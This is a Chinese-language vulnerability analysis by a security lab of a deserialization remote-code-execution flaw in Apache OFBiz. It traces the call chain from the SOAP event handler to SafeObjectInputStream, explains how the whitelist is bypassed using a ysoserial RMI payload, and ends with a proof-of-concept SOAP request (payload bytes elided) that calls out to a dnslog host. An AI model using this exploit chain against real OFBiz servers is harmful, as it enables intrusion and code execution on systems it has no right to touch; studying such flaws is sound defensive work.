Author: 析安实验室(ZionLab)
官网获取最新版本 https://ofbiz.apache.org/download.html
发现新版本对 .\framework\base\src\main\java\org\apache\ofbiz\base\util\SafeObjectInputStream.java
的 65行 进行了修改,添加了java.rmi.server
黑名单,说明此处应该存在 RMI 的利用链
SafeObjectInputStream
类的利用链在 framework/base/src/main/java/org/apache/ofbiz/base/util/UtilObject.java
的114行
发现 SafeObjectInputStream
类被初始化使用
并且直接 return wois.readObject();
很明显是个反序列化点
UtilObject
类getObjectException
方法的利用链发现自身 92行 getObject()
方法调用了该方法
UtilObject.getObject()
的调用链在 framework/entity/src/main/java/org/apache/ofbiz/entity/serialize/XmlSerializer.java
468行
deserializeCustom
方法中有调用过UtilObject.getObject()
,从名字上看是个自定义的反序列化方法
在94行的 deserialize
方法后没有自身调用了
framework/service/src/main/java/org/apache/ofbiz/service/engine/SoapSerializer.java:45
在 framework/webapp/src/main/java/org/apache/ofbiz/webapp/event/SOAPEventHandler.java:177
被 SOAPEventHandler
类调用,并且在前面出现了SOAPBody
等类型,说明这个类很有可能接收了request body
,后面可以验证
接着在这个方法invoke()
的最开始可以确定这个方法接收了request请求的内容
request
-> SOAPEventHandler:invoke()
-> SoapSerializer:deserialize()
-> XmlSerializer:多层调用-> deserializeCustom()
-> UtilObject.getObject()-> getObjectException()
-> SafeObjectInputStream:return wois.readObject();
-> 反序列化完成
SOAPEventHandler:invoke()
获取请求可以看到获取了 wsdl
参数,这里要跳过if
判断向下执行,所以不能带上wsdl
参数
在173行
SOAPBody reqBody = reqEnv.getBody();
SOAPBody
内容,进入 SoapSerializer.deserialize()
XmlSerializer.deserialize()
多次调用后来到 org.apache.ofbiz.entity.serialize.XmlSerializer#deserializeSingle
deserializeSingle
方法中开始判断xml中的标签名
这里需要将恶意代码带入到反序列化中,需要经过 value.put()
将key和value添加到map中。
map-
开头的标签应该就行简单构造
<map-HashMap> <map-Entry> <map-Key> </map-Key> <map-Value> </map-Value> </map-Entry> </map-HashMap>
接着从465行来到了468行
判断了子标签存在 cus-obj
才会进入逻辑,进入逻辑后
传入的 value
为Hex编码过的字节流
UtilObject.getObject(valueBytes);
利用链在 116行,恶意代码的字节流进入了存在漏洞的 SafeObjectInputStream
类
SafeObjectInputStream
类先进行了白名单的初始化,不过白名单限制不多
最后进行readObject()
进行反序列化
UtilObject.getObject()
的利用链是否成功首先 利用 ysoserial 生成RMI字节流
跟推理的一样来到了 SafeObjectInputStream
类
继续调试进入 readObject()
方法反序列化
从调试参数看这里的类名为 java.lang.reflect.Proxy
,而白名单里刚好有 java..*
,在白名单内
因此直接跳到最后 将恶意的字节流反序列化触发RCE漏洞。
完整构造POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/"> <soapenv:Header/> <soapenv:Body> <ser> <map-Map> <map-Entry> <map-Key> <cus-obj>ACED0005737D00...00000000000078</cus-obj> </map-Key> <map-Value> <std-String value="http://p1zcbj.dnslog.cn"/> </map-Value> </map-Entry> </map-Map> </ser> </soapenv:Body> </soapenv:Envelope>